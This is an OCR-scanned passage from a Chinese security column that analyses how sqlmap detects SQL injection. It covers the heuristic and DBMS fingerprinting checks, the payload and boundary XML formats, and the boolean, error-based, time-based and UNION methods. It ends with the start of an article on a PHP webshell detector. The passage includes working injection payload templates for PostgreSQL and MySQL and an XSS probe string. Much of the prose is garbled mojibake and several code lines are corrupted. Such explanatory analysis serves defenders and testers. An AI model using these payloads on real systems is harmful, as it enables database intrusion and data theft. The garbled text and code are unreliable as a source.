DEVAGEL IS agent payload(place, parameter, newValue=payload)

page, _, _ = Request.queryPage(payload, place, content= , raised04= )

paraiiType = conf.method if conf.method ( , HTTPMETHOD.GET, HTTPMETHOD.POST) else place

if value.lower() (page ") . lower()
infoMsg = "heuristic (XSS) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to cross-site scripting (XSS) attacks" % parameter
logger.info(infoMsg)

for match re.finditer(FI_ERROR_REGEX, page )
if randStrl.lower() match.group(@).lower():
infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
infoMsg += "'%s' might be vulnerable to file inclusion (FI) attacks" % parameter
logger.info(infoMsg)
break
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1A XSS WTAEEIMENE "<\">", EELMETERD. FAT R, HNINUELNEZ S
FRBAETET, MMHIETESEFE XSS TR,

250 Fl (XEBE) , MENNERPESEST include/require HREEE, XEEFBEBIIFTELE
MZRIA S PTECARNIAY

X ERE AT BAE salmap FREsAZORIERELT . X TREF, 43ET Payload RIEFRRT AN A B
BT,

RBERTEZRD N TILTRE D

1RIEE S EELELHIE boundary

2. B RIVNEIEZEZEE heuristicCheckDbms

3.payload F4LIE (UNION)

4 RS HER A EE8 AR5

53Tk B eAFREITIESS payload &

6.payload jEZ

7 5 XS PO BRI FEN D AT response AYNERN FILME
JHER, REER

BREEZEINMSTANE ZERROEZONEIRFIZED S, FIIRIMMAXTF injectable FNIRETE R
BT if method == PAYLOAD.METHOD.[COMPARISON/GREP/TIME/UNION] X JI N EED T EAMER), E
XL R AT RZE sqimap HXABEEANSLER Payload #17TH SRE R IEEEHFNHIENEEE.

kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)

if fstPayload:
else:

for method, check test.response.items():
check = agent.cleanupPayload(check, origValue=value if place \
(PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else

if method == PAYLOAD.METHOD.COMPARISON:

elif method == PAYLOAD.METHOD.GREP:

elif method == PAYLOAD.METHOD.TIME:

elif method == PAYLOAD.METHOD.UNION:
kb.previousMethod = method

if conf.offline:
injectable =

if injectable
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EUREER B heuristicCheckDbms

BAIERKRDNITIGNE, MELRBTE T EHELIEENRE, BABEEREFRTRPIRE
SEBMN, HBILE P ZEIRRBNARE BIEEFELERNNR, MEBEEE heuristicCheckDbms 1%
TEREL, LR ANk E SRR,

@stackedmethod
heuristicCheckDbms (injection): o FIRE2AMA EAT DBMS £H

retval =

pushValue(kb.injection)
kb.injection = injection

for dbms getPublicTypeMembers (DBMS, ):
randStrl, randStr2 = randomStr(), randomStr()
Backend. forceDbms(dbms)

f conf.noEscape dbms FROM_DUMMY_TABLE:

1
if checkBooleanExpression("(: % (randStrl, FROM_DUMMY_TABLE.get(dbms, ""), randStrl)):
checkBooleanExpre: %5'" % (randStrl, FROM_DUMMY_TABLE.get(dbms, “"), randStr2)):
retVal = dbms

Backend. flushForcedDbms ( )
kb.injection = popValue(}

Lf retval:
infoMsg =
infoMsg + " % retval
logger. info(infoMsg)

kb.heuristicExtendedDbms = retval

rn retval

HEXMNPEERE R, OREEANAERNH/RETEE—" (SELECT "[RANDSTR]" [FROM_DUM-
MY_TABLE.get(dbms)] )="[RANDSTR1]" #1 (SELECT '[RANDSTR]' [FROM_DUMMY_TABLE.get(dbms)]
)=TRANDSTRI1]' iX# ™ Payload AUERFIHT, HEh

FROM_DUMMY_TABLE = {

DBMS.ORACLE: " FROM DUAL",

DBMS.ACCESS: " FROM MSysAccessObjects",
DBMS.FIREBIRD: " FROM RDB$DATABASE",

DBMS.MAXDB: " FROM VERSIONS",

DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",

DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",

DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"

Bilan, HERESRE ORACLE MIFR, MS4ER

(SELECT 'abc' FROM DUAL)='abc'
(SELECT 'abc' FROM DUAL)='abcd'

101



KERARE2018FEE

Chaitin Tech Column 2018

XIFRIM T Payload, MIRWEIFELENKR (RFATSIREETNM/REEON) , WXRPLKEE
M2 ORACLE,

SRBEEREQNAHAARNZ TN, FRN sqmap SEFRTEFR, MRKEIEE DBMS NI HENIL
Payload RIMS N RVEIEERBLAIRE .

LR EERF Payload BIHITIERER, SESE —LHIEENHRETE R (<details>), WR Payload I
17, XLEE(S B 0] AT T U ELIE ZE SR B o] DA IR 5 3

ML EIERES Payload 11143

FESERRROUASH, checkSalnjection  R—TMEI-tHITHIRE. SARETHEAAZNETHA)LE
FIHAT BT AT 2 MIERY, EFRPREITRZXT Payload EXHFENERE, B4, BRMERHNEH
TR T BE— Payload REFABMHARNEX, SRBARESXLERENTXEFRIIEETAREN
B, FMMBATRBINEEARTRREAL Payload MEMEFIAZEROLER,

EEATH, FMNSTFEANTBATEEN Payload AEIERE, HFHEETXERINFE DT salmap
SEPRAYTTA, 1 sal FENREBAHETRIR,

<test> EAER

KT EERIESIE sqimap RBEIFEIFHANIRE, IETE xml/payloads/boolean_blind.xml A, FA1E
1D PR D B HE B AT N AR IZIIT .

BREANIDAEE—TEKR testcase TN —DEAEKR xml TR AEF:

<test>
<title></title>
<stype></stype>
<level></level>
<risk></risk>
<clause></clause>
<where></where>
<vector></vector>
<request>
<payload></payload>
<comment></comment>
<char></char>
<columns></columns>
</request>

<response>
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<comparison></comparison>
<grep></grep>
<time></time>
<union></union>

</response>

<details>
<dbms></dbms>
<dbms_version></dbms_version>
<0Ss></0S>

</details>

</test>

XT EE— <test> IBEANTRELEXLM LEEZNARE—" Payload ®EE

Sub-tag: <title>
Title of the test. MIARIRHIR, RXEZMFEHAIERENIXAO &R LB ERNRE

FERT— <test> Y title RMLERIIRER.
PRAFLDERNFInE, EEBRSEZRCIVESE FNERERS,

Sub-tag: <stype>
SQL injection family type. RIIEANAIZER,

Valid values:

1: Boolean-based blind SQL injection
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Error-based queries SQL injection
Inline queries SQL injection
: Stacked queries SQL injection

: Time-based blind SQL injection

o U A W N

: UNION query SQL injection

Sub-tag: <level>

From which level check for this test. MiXA9ZR%I

Valid values:
1: Always (<100 requests)
2: Try a bit harder (100-200 requests)
3: Good number of requests (200-500 requests)
4: Extensive test (500-1000 requests)

5: You have plenty of time (>1000 requests)

Sub-tag: <risk>

Likelihood of a payload to damage the data integrity. X MEIRZKBN BAREUEERR
HREE, risk mE=%, =eFEARNBIBEETESBLRNIRME, tEUER—LHE, BMA—LEHEE
Z IR —LEEE,

Valid values:
1: Low risk
2: Medium risk

3: High risk

Sub-tag: <clause>

In which clause the payload can work. XPNFERERE <test> SWAYNIL Payload &
FpfhzEAlyy SQL 1BE)., —RRiR, RZBIBOHA—TIEERHE WHERE UEH.

NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the

injection is within a WHERE clause condition.

Valid values:
0: Always
1: WHERE / HAVING
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: GROUP BY

: ORDER BY
LIMIT

: OFFSET

: TOP

: Table name

Column name

© 00 N o u b~ W N

Pre-WHERE (non-query)

A comma separated list of these values is also possible.

FLEJIDFARER, BIOEBRNME level/risk —fRE, BRIARY sqimap Bo & A LHIREAIEHE,
BlBE=EhESRS (level=5/risk=3) MWELETREE % payload,

&R B O FERE

Sub-tag: <where>

Where to add our '<prefix> <payload><comment> <suffix>' string.

Valid values:
1: Append the string to the parameter original value
2: Replace the parameter original value with a negative random
integer value and append our string

3: Replace the parameter original value with our string

Sub-tag: <vector>
The payload that will be used to exploit the injection point.

MRS RRAMIGE Payload KAARETF, HLXLFMERMN Payload EZHZHIN Payload
AREHAZXD Payload, A request FHREFA payload M,

Sub-tag: <request>
What to inject for this test.

ETFRERBERNIEESRSE, GXERED, L2560, BEE 207K, #lil payload 2
BEFEN, BE comment EX—FAEHR], char f1 columns £2X2%F UNION 77177

Sub-tag: <payload>
The payload to test for. SEFmNI{EFRERY Payload
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Sub-tag: <comment>

Comment to append to the payload, before the suffix.

Sub-tag: <char> R%E UNION EIANFENFER
Character to use to bruteforce number of columns in UNION

query SQL injection tests.

Sub-tag: <columns> RA UNION EAFENFER
Range of columns to test for in UNION query SQL injection

tests.

Sub-tag: <response>
How to identify if the injected payload succeeded.

BT payload MENA—ERHEER, AN, SR ELAEBERODELBHAZHEEN, BENLESE
S8, ARMNBEENETHEFANDN.

Sub-tag: <comparison>
HNMRETNFETE, RN request HIERNE
Perform a request with this string as the payload and compare
the response with the <payload> response. Apply the comparison

algorithm.

NOTE: useful to test for boolean-based blind SQL injections.
Sub-tag: <grep>

FREIIANFEEFR, ERENRAXELESER.

Regular expression to grep for in the response body.

NOTE: useful to test for error-based SQL injection.
Sub-tag: <time>

YA E E

Time in seconds to wait before the response is returned.

NOTE: useful to test for time-based blind and stacked queries

SQL injections.
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Sub-tag: <union>
2038 UNION <SEANBIINVA.

Calls unionTest() function.

NOTE: useful to test for UNION query (inband) SQL injection.

Sub-tag: <details>
Which details can be infered if the payload succeed.

WER response WREARAOMLERBII T, B AERETASEIL?

Sub-tags: <dbms>

What is the database management system (e.g. MySQL).

Sub-tags: <dbms_version>

What is the database management system version (e.g. 5.0.51).

Sub-tags: <os>
What is the database management system underlying operating

system.

EL TR T BEAR Payload MNAEUBREL 2 f5, BAVE T RATIFANQNEENATON, EAR
MEREE, FMNEERSFNH/REFNNEEEFRTON.

HEIF# Payload

HNEEMNN AR LRI T LT 8L Payload WZFER, ER2EBHNE, LEMNE— Payload #1T2

EIFH Payload, LR sqlmap fEAMERI IR, REEM *xml FiNE R Payload, #2 20 —LEfE
HACFITRALIE, XLEFRAMIES R EIAE a0 T

1.Boundary: FENRIA Payload WRIERN WHT ", BRE—THEFNERA, EEZBURT S/ HIE
A SQL IEEMETX, BERETX: FEANUER—TBE" IAUEFTERSIS/N5IS(/)HEAR;
ENUEE—TESIEGR,

2.——tamper: Tamper 2 sqmap HFREBENHMZZ—, thE Bypass HFFMEHAIBNBE IR, £
sgimap 1, Tamper RIZMBEAI T HA] E—RXEFH agent.queryPage() #, BARAITEIT Payload AIZME,

3."Render": HHZX—NHEE sqimap FREGEEAE S HTN, EFERHX Payload HENL
HOFRES T ERANE R, HIa0:
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[INFERENCE] X MR BEHEB IR —1FN, X1TEFENATHIRTEE R IE 1 Positive/Negative
[RANDSTR] & # &1 s e 15 &
[RANDNUM] 5 [RANDNUMN] e &% B p A [E O 21
[SLEEPTIME] R B &) XS &%~ SLEEP RIART[E)
BRLA, SEPRLEM *xml Ain#E ke Payload FEZY FEMNGIEA SEENERWIETM ., X Pay-
load 7 =7 agent.queryPage R HE R MK, mERA] sqimap —v3 IXIMEFINHRL Payload,

ELEENNTAFR, BMNXRET—TEENEE, Boundary, HFEHMTHENERENNTE, BAEWN
Boundary, F{17£ {sqlmap_dir}/xml/boundaries.xml HB] A F :

<boundary>
<level></level>
<clause></clause>
<where></where>
<ptype></ptype>
<prefix></prefix>
<suffix></suffix>

</boundary>

AEMNEXH, BMgILNIRFIREWT:

Sub-tag: <ptype>

What is the parameter value type. S#{eEf (SEUNF L TFER)

Valid values:
1: Unescaped numeric
2: Single quoted string
3: LIKE single quoted string
4: Double quoted string
5: LIKE double quoted string

Sub-tag: <prefix>

A string to prepend to the payload.

Sub-tag: <suffix>

A string to append to the payload.
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ESREEIEE sqimap i Payload BB IR RS B

<prefix> <payload><comment> <suffix>

Hrh <prefix> <suffix> JETF boundaries.xml #, 1 <payload> <comment> JEF &S xml/pay—
loads/*.xml HH <test> ., EATHEEIFZIFHNIEART

TR T

AR RN TR, BAORSHXIVMEARTIFEED T, FONOTRIEEER  sqmap  IRER
Payload RUEIERBEMERGHINID, AN MRETHITEIFMADT.

TP 2El, BAFE—TIFMR Payload:

<test>
<title>PostgreSQL OR boolean-based blind — WHERE or HAVING clause (CAST)</title>
<stype>l</stype>
<level>3</level>
<risk>3</risk>
<clause>1</clause>
<where>2</where>

<vector>0OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]'
AS NUMERIC) END)) IS NULL</vector>

<request>

<payload>0R (SELECT (CASE WHEN ( [RANDNUM]=[RANDNUM]) THEN NULL ELSE
CAST(' [RANDSTR]"' AS NUMERIC) END)) IS NULL</payload>

</request>

<response>

<comparison>0R (SELECT (CASE WHEN ( [RANDNUM]=[RANDNUM1]) THEN NULL ELSE
CAST(' [RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>

</response>

<details>
<dbms>PostgreSQL</dbms>

</details>

</test>

RIEL—PNANFIRZREE, FNTURBURXT <test> TEDREMT Payload: B—TH

i —

request FRZHHY payload 5 A response HxZ R comparison HAY Payload,
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HAFNER S8, HXH/REFHNIR ERBERN request.payload F response.compari—

son XM MIER, REXMMERANEAER, #MAIUHAESFEREAN, pJEFXERMLNIE? FRS

HIRAERARBE,

E7N

A5

HATE T E X request.payload FRRIRIIE KRB IETEK Positive, XN response.comparison FREIER AN

15K Negative, £ sqimap FRRLIRUT:

kb.matchRatio =

kb.negativelogic = (where == PAYLOAD.WHERE.NEGATIVE)

Request. queryPage(genCnpPayload() , place, raiseddd=

falsePage, falseteaders, falseCode = threadData. lastComparisonPage , threadData. lastConparisontieaders, threadData. lastComparisonCode
falseRawRespons % (falseeaders, falsePage)

trueResult = Request.queryPage(reqPayload, place, raised94=False)
truePage, trueteaders, trueCode = threadData.lastComparisonPage , threadData. lastConparisonHeaders, threadbata. lastComparisonCode
trueRawResponse = "%sis" % (trueHeaders, truePage)

trueResult (truePage == falsePage kb.nullConnection) :(@)

falseResult = Request.queryPage(genCmpPayload(), place, raisedod=
4

falseResult:

kb.negativeLogic:

boundPayload = agent.prefixQuery(kb.data. randonstr, prefix, where, clause)
boundpayload = agent. suffixquery(boundPayload, comment, suffix, where)
errorpayload = agent.payload(place, parameter, newvalue=boundPayload, where=where)

errorResult = Request.queryPage{errorPayload, place, raised@4=False)
errorResu

kb.heuristicpage any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
comparison(kb. heuristicPage, None, getRatiovalue=

> kb.matchRatio:

Kb.matchRatio

Togger. debug( atio for cu ter to %.3f" % kb.matchRatio)

kb. heavilyDynamic Request.queryPage (reqPayload, place, raisedd:
%

injectable =
threadData. lastConparisonRatio > UPPER_RATIO_BOUND any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):

injectable:(§

FERBEIPBATTIFANBERE, N TIULARERERE, HICABRLENRE

(wmman )
A %
Y

EENARIETION
Ratio{matchRatia)

Ealse

SRR
True iR S MR

=~ -
s A

> FEERR

@ i8EDR matchRatio, HELERMIHA
REBRAEREER

@ R ERRSEETERSER

© =1 EMRE, ERRARSRIRT
EiER, BERERTERR, #8
&% 713 nullConnection {ft, MR
FHE T nullConnection #ift, N2
TEASLES

@ #HTRER, FHAAERSEETE
TR, #HTF—H

© ENTRNEE <where> TERE

0, MBRENFFE, BAS KRR

IR SRIRTEAARRA BEX, Ak

R HIE—DHIRAY) Payload, B
WELSR

0O EAIENTERERT, HEAF
FEFHRDRERSEFH8
(84% nullConnection) , IREE

g EBR Ratio

@ #i8s heavilyDynamic #9E00

0O RERBERSTARTHRNEAL
FRUETEX S thH FREREFR
18E), SEIREKEST 10 A%HE
FHRHIN—ERERDHRE

ey

© FUpHN, HETEES KR
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BB RGP EHAZIENIBKRNLE, MEEBKSKRRTEAINLE, RIBERSHEIRERN

SEEMEIRIBRERRITENX L, AT ZFE—MERREUXHESEANER, TENGERAN

SZRAARBEAER, BE—XWANERURRELUEIE—TRNTE (FERNSE) , ZME
UXBERBERKEX D TTHABDETENBEN, EFBEZMBTSERITELEERAE .

3% GREP B (#R#EEN)

HRREFAEIIERFIRG, EREEIANQNAIREF, HMSEIMA response FinE,
&7 grep FARE:

<test>

<title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (JSON_KEYS)</title>

<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>l</where>

<vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]"', ([QUE-
RY1), ' [DELIMITER_STOP] ")) USING utf8)))</vector>

<request>
<payload>AND JSON_KEYS( (SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]"', (SE-
LECT (ELT( [RANDNUM]=[RANDNUM],1))), "' [DELIMITER_STOP]')) USING utf8)))</payload>

</request>
<response>
<grep>[DELIMITER_START] (?P&1t; result&gt;.*?) [DELIMITER_STOP]l</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.7.8</dbms_version>
</details>

</test>

BMNERMFITE grep FREMNRAN, FTUEREMEMERPET grep RHENRBRENNHAR
GORALINRERE TN AR, MiRBZS eI UHITEN.

FEEMRCRES, EXIFEENANER:
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T method == PAYLOAD.METHOD.GREP:

page, headers, _ = Request.gueryPage(regPayload, place, content= , raisedad=| )
output = extractRegexResult(check, page| re.DOTALL | re.IGNORECASE)
output = output extractRegexResult({check, threadData.lastHTTPError[2] ii wasLastResponseHTTPError() s re.DOTALL | re.IGNORECASE}

output = output extractRegexResult(check, listToStrValue((headerslkeyl for key headers.keys()} if key.lower(} != URI_HTTP_HEADER.lower(})
output = output extractRegexResult(check, threadData.lastRedirectMsgll] |if threadData.lastRedirectMsg threadData.lastRedirectMsg[@] ==

if output:
result = output = "1"

if result:

infoMsg = er ' 3 1 | " % (paramType, parameter, title)
‘Lugger.lnfﬂ(lnfuhsg)

injectable =

t SqlmapConnectionException, msg
debugMsg = "pr

debugMsg

debugMsg +

logger.debug (debugMsg)

B sqimap WXIMAEIHAAZXNOENARASTHEEH, BFRTIUEATZIS, QEWN T

1.HTTP MEIRTIE
2 Headers FHOAA
ETEMEER

£33 TIME B (BF8E3E, HeavilyQuery)

SANEEERNFTURESHBIINIZEALIE: NMREHTERSEREET X ¥, FEIMNERAR
B 2 HAIFRERRORTE], BAFMPIUNAERX NS HE—THEIEAR,

BRMNNEBZEMA AT H? SAKNEETHENE sqimap WENEEXD X ERER (BE TEHX
MR, 1T agent.queryPage &)

wasLastResponseDelayed():

@ EEiERES A HhAMEERL
18] <= FLINARATIE + 7 * #TotEE

O itEiEz
© EEEEES TR+ 7 *
=
deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [1)) 2 T o =
threadData = getCurrentThreadDatal() (4] gﬁ;gﬁﬁgggi;ﬁ%ﬁ?ﬁ%h
g = i
deviation conf.direct conf.disableStats: SLEEP(X) )

len(kb. responseTlmes[kh respanseTmEMch]) < MIN_TIME_RESPONSES
warnMsg = a

warnMsg += N 5 % MIN_TIME_RESP[NSES
logger. warn(warnnsgl

‘LowerSmLimltl = average(kb.responseTimes [kb. responseTimeMode]) + TIME_STDEV_COEFF % deviation(3
retval = (threadData.lastQueryDuration >= max(MIN_VALID_DELAYED_RESPONSE, lowerStdLimit))

kb. testMode retvValig

kb.adjustTimeDelay

msg =

msg + 5 s e-sec')? [Y/n] "

kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if readInput(msg, defau 'Y', boolean= e ADJUST_TIME_DELAY.YES
kb.adjustTimeDelay ADJUST_TIME_DELAY.YES:

adjustTimeDelay(threadData. lastQueryDuration, lowerStdLimit)

n retVal

delta = threadData.lastQueryDuration — conf.timeSec
Backend.getIdentifiedDbms() (DBMS.MYSQL, ) :
delta += 8.085
delta >= @

BAEM, EBEEE—THERZ: thEE

12



BRI, thEEE—ARERTFHEDEITRNEEN —TPNENS, —TRANINEE, R NHEN
HPHEZEZERRA —MRNINEEZ, ARXEHMERZLTYE. fla, MARNES{, 5, 9, 1415,
6, 8, IHFHEMZE7, EE-_TESGEBRNMNMINEEZ. RMEETREE", B X = kS BHFAR (Sample) 5B
EAZE. tWEERTUSFEAHESN—MNE, flnaEyENEd, HEEMNEN, NEMESESREENR
RRENVENBHE, SERENEEESHSMNE, NEENIHEESBRATHEEZAR: URNETYES
FNEEECR (BN SHEZRERLER) . WIAAVSESTNEERFE, XREZER, EAURVEE

HEE—EHETCEZI, AIUREMICTINER SIER.

RIEERAADEP OB, HNRIABNFEIRE &\ SLEEPTIME NMIZEDAT HARFHN
RZETE) + 7 * BEARAREE, R URIED &R 99.99% WTILEIRIERK,

SRR TE—R, FAERDN

delta = threadData.lastQueryDuration - conf.timeSec

if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05
seconds shorter on average

delta += 0.05

return delta >= 0

X—ECIBIERN mysql By Patch 77F # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average,
MR EE S E FENE, X—R/tBEEOFUEEFLIAT,

£3F UNION B¢ (UNION Query)

UNION JEAFILAEZ sqimap FRERNT, RANBERZLBEADEINIBER .

HSLXF UNION SEARIRN, FIFEAI—FIRFS SQL IFANAER—HFN, BRI, BRHLRE

SR IE, SLFRTE sqimap FHREZBXPRETEDNE, BN EMT

elif method == PAYLOAD.METHOD.UNION:

(test.request.char, test.request.columns)
if len(kb.dbmsFilter ) =1:
Backend. forceDbms (kb.dbmsFilter[e])
Backend.getIdentifiedDbms():

if unionExtended:

reqPayload, vector = unionThst(coment, place, parameter, value, prefix, suffix)
(reqPayload, vector)

if isinstance
infoMsg = "%s e" % (paramType, parameter, title)
logger. info(

injectable =

where = vector[6]

13



R unionTest() A& IIU TRIE

def unionTest(comment, place, parameter, value, prefix, suffix):
This method tests if the target URL is affected by an union

SQL injection vulnerability. The test is done up to 3%50 times

if conf.direct:

return

kb.technique = PAYLOAD.TECHNIQUE.UNION

validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter,
value, prefix, suffix)

if validPayload:

validPayload = agent.removePayloadDelimiters(validPayload)

return validPayload, vector

ERZOB0BEENT _unionTestByCharBruteforce 1, 4R, ALK ERNAOABZEA T :

@ nam
© HEIATIE Union A

© TEmiA, RERAPHIDER (8)

validPayload =

vector =

orderBy = kb.orderByColumns
uChars = (conf.uChar, kb.uChar)

@ =7 ORDERBY WAR (TEE)

if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart

set 1
count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)

if count: 2
validPayload, vector = _unionContirm(comment, place, parameter, prefix, suffix, count)

if all((validPayload, vector)) all((conf.uChar, conf.dbms}):
warnMsg = s Bt
warnMsg +=

3

conf.uChar count > 1 kb.uChar == NULL:
conf.dbms:

all((validPayload, vector)) warnMsg.endswith('
singleTimeWarnMessage (warnMsg)

4
if count orderBy kb.orderByColumns
conf.uChar, kb.uChar = uChars

validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)

rn validPayload, vector

AR, BI—F LR

BIIE

ot

BAREMT 2 BN IREBAN X MIHIFEIFE

S

AL, MRBREAENEFEEETEE, £&

14



BIRABEARXT SQL FANEARREZNE S,

I ALEB—HRXARBNBIFRIRZLEIRENE? SAXIRE sqlmap HAZIER B RAELIER
HE15, BAERN—TBENEAR, SAFTUREZEARIPFERZERE, EEXESHEEUENEXK
HMANZIBLE S PI UFIRTAY:

148 ORDER BY &1, HiZ@I5RRTTEAILLEIRERTEL,
2.%4 ORDER BY &£3B9RTE, {#FZ % UNION SELECT A%, FFEIZ Ratio, @I X% Ratio
XD E—1 2 EFITIEL

SERREEMRANEES, ORDER BY BRINEEINTS, X THATTEEEBREABIIMAAERT, FIEF—
RAVZ sqlmap AIRFIMHIEIR, ERNE DA (BEE T —F, “0EXE0XMUFE-CFRNNE)

@stackednethod

_orderByTechnique( lowerCount= » upperCounts )z e S5 ORDER BY &3l SIS S 2

_orderByTest (cols): ORDER BY 15 ORDER BY

query = agent. prefixQuery("0 cols, prefix=prefix) [RANDINT] $92 E 48R (F48

query = agent.suffixQuery(query, suffix=suffix, comment=comment) .

payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)

page, headers, code = Request.queryPage(payload, place=place, content=True, raise4da=
any(re.search(_, page or ", re.I) re.search(_, kb.pageTemplate
kb. heavilyDynamic comparison(page, headers, code) or re.search(r'dat

| @ tuonsk, 0t —BEB SR
U5

¢ _orderByTe: s _orderByTest(randomInt() if upperCount s1se upperCount + 1):
infoMsg = n "

smgleTmeLngMe ge< infoisg)

lowCols, highCols = 1 if lowerCount lse lowerCount, ORDER_BY_STEP if upperCount se upperCount
found =
found: (2
conf.uCols _orderByTest (highCols):
lowCols = highCols
highCols += ORDER_BY_STEP

found:
mid = highCols - (highCols - lowCols) / 2
 _orderByTest(mid):

lowCols = mid

highCols = mid
(highCols - lowCols) < 2:
found = lowCols

PRIEZFME, 213 ORDER BY K3, BEITBEZELDAT (M lowerCount £ upperCount) Payload 79
UNION SELECT (NULL,) * [COUNT], B9IESK, XLEEBRAIN RATIO (5EMITERAME) L7 H
£ ratios 1, [EEY items HRFf#E FUE ] ratio AZALAY tuple, B —RIINEE, RAIEIHE“SRAE

(EMBRIZIER) "MiE. BERNEESHITNT:

isNullvalue(kb. uchar)g

@ MRFRLNULL 7 uChar I8

retval: 1, TAREBRRETSITR
if min_ ratios:
ratios. pop( ratios. index(min_)) @ RbEATRNOTERLE,
T max_ ratios: 2
ratios.pop(ratios. index(max_)) e ERFHRED, MBERRARN
i ey BMEZE, BTFOREHTLE
P R [, MEHRATIOR e BAMERM
item in items: —ERIERTIEAIER
i l:?r:][i:m: e O NRBARNMEZER), BETE
item[1] == max_: i3 RATIO BT, MEitEiRE
naxIten = item 2, WAL BN E A0S
SRR FROTE, NFHEE
if all(_ = min_ 1= max_ for _ in ratios): AT IR

retval = maxiten[o]

1if all(_ t= min_ == max_ for _ in ratios): (@

retVal = minItem[0]

if abs(max_ = min_) >= MIN_STATISTICAL_RANGE:
deviation = stdev(ratios) {4

deviation
lower, upper = average(ratms\ — UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF # deviation

if min_ < lower:
retval = minItem[0]

if max_ > upper:
if retval abs(max_ - upper) > abs(min_ - lower):
retVal = maxIten[0]
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BAVRH, EEABRERNZOEEE fIRSERTEERNATEUES K E&E AR —TEK,
N =R

FBRaO—IRF, BATEI EENSEAINKE T I, BETRMAZSFHAESR, SAHLERNIHD

REHIMTIEN, EXERBEREZNAN? HMNRIAFER UNION SELECT NULL, NULL, NULL,
NULL, ... RE9EF NULL foREHR, REEERPIREBNEANNENNFRS, MAIURE S EUE
MARSRIME, LR EX—F oSBT TEFIEERT _unionConfirm

if conf.uColsStop == conf.uColsStart:
count = conf.uColsStart

count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL i

if count:
validPayload, vector := _unionConfirm{comment, place, parameter, prefix, suffix, count)

all((validPayload, vector]) all((conf.uChar, conf.dbms)):
warnMsg = "if UNION based SQL imjection is not ed, "
warnMsg += :
if conf.uChar count = 1 kb.uChar == NULL:

conf.dbms:

all((validPayload, vector)) warnMsg.endswith("co
singleTimeWarnMessage(warnMsg)

if count orderBy kb.orderByColumns

conf.uChar, kb.uChar uChars T ey
validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, v&ﬂ%n@fjﬁm

HAFEMZHEE—1IU _unionPosition BIRE, EXTRHF, AREURERNUE, FRNE
KAEMBRHNEF LRI HE, SRTEE, BHIMABRARART

HIBEERITY, ARINEHRBLER, BAEEXT sqmap REMZIARIBNE: “HIEHX
ft”, “action() — Exploit K", “BRREFADH (udf, &3& shell ¥F) ", BEREATATEEALR
&, ZEYVEERE-T, LR LIMANXEBZEBIE sqmap 89 SAL EARNSEZONBEERER
XHBEMHZERBRET, HEREEETZEEESE B KGR,
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M7~ (CloudWalker) FJR
N4 ZE: Webshell#Z /O 5 | Z8

fEZ&: Cyprus

HXE R

7813H (B=FPBRRIEE) https://mp.weixin.qg.com/s/bGeE7WY-2P-SP9QiYel TVw
9A14H ¥z (CloudWalker) FFEFIC|Webshell izt MR #3R https://dwz.cn/3VNSsQPn

¥z (CloudWalker) IRBREZEFE
SIS | €8 2 Webshel 6

—n e

lIE=

ERENLZ UM OINEEZ —, Webshell MN—BEESXREHARLERNGI, S50
Webshell MM MMUIEFAE, shill/LE LTRSS, UREBRDFHHEE Webshell, JLFEZAA
BESTRRENIESS,

MEBMUHMNPENENES, BoEENEEZED. SEEEMNRSHEETE. BHRHENERM
Webshell #2515, UEMIGEREL Y, RERGRKE—RENMCENE. B2 B n " mE.

FRITRINE—H: FRGTREE Webshell 121515

RRFERERNFRITRINE —F, (XBEE Webshell 051285, ERAEM Webshell N R. B
B EIZ — AT TRIAR L ATARAS Webshell 42 TR,

BNMRFERF R, FETACRMEBR.
FE=TH, BEEFRBATRIERSHEEER.

FX
Webshell 15|22 7 &5 L 1ThRAS
MBS RBEN
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BMMBAOR—MEEIT PHP-Ast #1FH Detector, 20N TIEATE Detector AEBHAT,

173
176 php.Start()

177 detector, err = WebshellDetector.NewDefaultDetector(php.Stdin, php.Stdout)
178 if err != nil {

179 | log.Println("Detector kernel cannot load.")

180 }

ana

Detector A RIRES N ARLERZRIERHTITD . XEFD BIAENEEFARNIERTS,
T EFEINENIFEERANRETS, AERIEBLERNEN, EEOUEHRRSIRERS.

139 Oprncessor, err := newProcessorFromSrc(&self, src, self.stdin, self.stdout) o ZRRNEESIZ| S,
140 ® if err != nil {=~

142 } @ PHP KRB (f178)
143

144 = | @ if !isPhpCode(src) {~ © =AW Tokenized ENY
146 )y

147 O RBREFESN

148 result := @

i @ callable & (fiFE)
150 = e if self.config.enableRegMatcher &% self.regMatcher.IsMatched(src) > @ {= 3

o | 0O caErEmLN

i e @ nsxsins

154 ® o if self.config.enableStatCheck && processor.stat.IsAbnormal(self.statState) &% processor.callable {=-

156 } O mwrRirs

157

158 e isMatchedBySample := false

159 = if self.config.enableSampleMather {-

164 }

165

